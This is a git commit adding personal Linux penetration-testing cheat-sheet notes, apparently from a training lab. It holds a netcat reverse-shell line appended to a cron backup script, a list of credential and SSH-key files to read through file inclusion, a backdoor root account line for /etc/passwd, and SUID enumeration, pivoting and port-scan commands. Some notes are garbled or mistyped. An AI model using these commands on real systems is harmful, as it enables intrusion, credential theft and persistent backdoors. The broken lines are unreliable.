first commit

Linux/Cap.md

@@ -0,0 +1,5 @@
+List caps manually : 
+
+```sh
+/usr/sbin/getcap -r / 2>/dev/null
+```

Linux/Crontab.md

@@ -0,0 +1,3 @@
+```shell
+echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.224 4444 >/tmp/f" >> user_backups.sh
+```

Linux/LFI.md

@@ -0,0 +1,74 @@
+### High-Value Files and Directories to Check During Linux LFI:
+
+#### 1. **SSH Keys and Known Hosts**
+
+- **File(s)**:
+    - `/home/<username>/.ssh/id_rsa` - Private RSA key.
+    - `/home/<username>/.ssh/id_ecdsa` - Private ECDSA key.
+    - `/home/<username>/.ssh/id_dsa` - Private DSA key.
+    - `/home/<username>/.ssh/authorized_keys` - Authorized SSH keys for remote access.
+    - `/home/<username>/.ssh/known_hosts` - Hosts previously accessed, possibly helping with network mapping.
+    - `/etc/ssh/ssh_config` - Global SSH client configuration.
+    - `/etc/ssh/sshd_config` - SSH daemon configuration, may contain port information and other details useful for lateral movement.
+
+#### 2. **User and System Credentials**
+
+- **File(s)**:
+    - `/etc/passwd` - Contains system user accounts; combined with `/etc/shadow`, it can reveal password hashes.
+    - `/etc/shadow` - Stores hashed passwords; access may depend on privilege level.
+    - `/etc/group` - Lists group memberships, which may reveal sudo users.
+    - `/var/spool/mail/` - Often contains user email files that may contain passwords or other sensitive information.
+    - `/etc/sudoers` - Can reveal sudo privileges and any user-specific rules.
+
+#### 3. **Database Configurations and Passwords**
+
+- **File(s)**:
+    - `/var/www/html/wp-config.php` - Common WordPress configuration file containing database credentials.
+    - `/var/www/html/.env` - Environment configuration files used by various applications; may contain database credentials and other secrets.
+    - `/root/.my.cnf` - MySQL configuration file containing root credentials.
+    - `/etc/mysql/my.cnf` - Default MySQL configuration; can reveal useful info for database connections.
+    - `/opt/<app>/.env` - Application-specific configuration files for services like Laravel, Django, Node.js, which can store sensitive information.
+
+#### 4. **Web Application Configuration Files**
+
+- **File(s)**:
+    - `/var/www/html/config.php` - Often used by PHP-based web applications.
+    - `/var/www/html/.htaccess` - Access control configuration for Apache; can reveal access restrictions and environment details.
+    - `/var/www/html/.htpasswd` - Stores username and password pairs for basic authentication.
+    - `/usr/local/etc/nginx/nginx.conf` - Nginx web server configuration, may reveal proxy settings or other backend info.
+    - `/etc/httpd/conf/httpd.conf` - Apache configuration file, useful for understanding directory permissions and access controls.
+
+#### 5. **Network and Application Logs**
+
+- **File(s)**:
+    - `/var/log/auth.log` or `/var/log/secure` - Authentication logs, can show login attempts, successful or failed, potentially revealing usernames.
+    - `/var/log/apache2/access.log` - Apache access logs, helpful for identifying traffic patterns or hidden endpoints.
+    - `/var/log/nginx/access.log` - Nginx access logs, similar use to Apache logs.
+    - `/var/log/mysql/error.log` - MySQL error logs, which may contain sensitive error messages.
+    - `/var/log/messages` - General system logs that might contain application error information and sensitive data.
+
+#### 6. **System and Network Configuration**
+
+- **File(s)**:
+    - `/etc/network/interfaces` - Network interface configurations for Debian-based systems.
+    - `/etc/resolv.conf` - DNS resolver configuration.
+    - `/etc/hosts` - Local hostname-to-IP mappings.
+    - `/proc/net/tcp` - Active TCP connections and ports; useful for identifying open services and potential pivoting targets.
+    - `/etc/hostname` - System hostname, which could help map network assets.
+
+#### 7. **Cron Jobs and Scheduled Tasks**
+
+- **File(s)**:
+    - `/etc/crontab` - System-wide cron jobs.
+    - `/var/spool/cron/crontabs/` - User-specific cron jobs, which might reveal periodic tasks that could be exploitable.
+    - `/etc/cron.d/` - Another location for cron jobs, particularly for application-specific scheduling.
+    - `/etc/at.allow` and `/etc/at.deny` - Lists for controlling access to the `at` scheduler, revealing scheduled tasks and potential privilege escalation opportunities.
+
+#### 8. **Application and Service-Specific Files**
+
+- **File(s)**:
+    - `/etc/postgresql/*/main/pg_hba.conf` - PostgreSQL authentication configuration.
+    - `/etc/redis/redis.conf` - Redis configuration, possibly containing credentials or IP restrictions.
+    - `/opt/tomcat/conf/tomcat-users.xml` - Tomcat user configuration; can contain admin-level credentials for the Tomcat server.
+    - `/etc/ldap/ldap.conf` - LDAP configuration; may help with Active Directory queries.
+    - `/etc/docker/daemon.json` - Docker configuration, useful if docker is used within the environment.

Linux/Perm.md

@@ -0,0 +1,5 @@
+Find SUID marked files
+
+```sh
+find / -perm -u=s -type f 2>/dev/null
+```

Linux/Shell.md

@@ -0,0 +1,15 @@
+Stabilize the shell : 
+
+```shell 
+python3 -c 'import pty;pty.spawn("/bin/bash")'
+```
+
+```shell
+export TERM=xterm
+```
+
+CTRL-Z
+
+```shell
+stty raw -echo; fg
+```

Linux/Tunnel/Socat.md

@@ -0,0 +1,10 @@
+#SSH 
+```shell 
+socat TCP-LISTEN:2222,fork TCP:10.4.228.215:22
+
+```
+
+#datasbase
+```shell
+bashsocat -ddd TCP-LISTEN:2345,fork TCP:10.4.228.215:4242
+```

Linux/Tunnel/chisel.md

@@ -0,0 +1,2 @@
+
+client 192.168.45.224:4242 R:4343:chisel client 192.168.45.224:4242 R:4343:chisel client 192.168.45.224:4242 R:4343:**10.4.228.215**### :::4242

Linux/Tunnel/ssh.md

@@ -0,0 +1,13 @@
+ssh -N -L 0.0.0.0:4455:172.16.228.217:445 database_admin@10.4.228.215
+
+
+---
+Dynamic port forwarding
+ssh -N -D 0.0.0.0:9999 database_admin@**10.4.228.215**
+
+can be use with proxyschain
+
+
+Reverse Remote Port forwarding: 
+
+ssh -N -R 127.0.0.1:4444:10.4.228.215:4444 kali@192.168.45.224

Linux/Tunnel/sshuttle.md

@@ -0,0 +1,3 @@
+shuttle
+
+

Linux/_etc_passwd.md

@@ -0,0 +1,7 @@
+If writable add :
+
+
+username hacker , password hacker
+```sh
+hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
+```

Linux/portscanning.md

@@ -0,0 +1 @@
+for i in $(seq 1 254.; do nc -zv -w 1 172.16.228.$i 445; done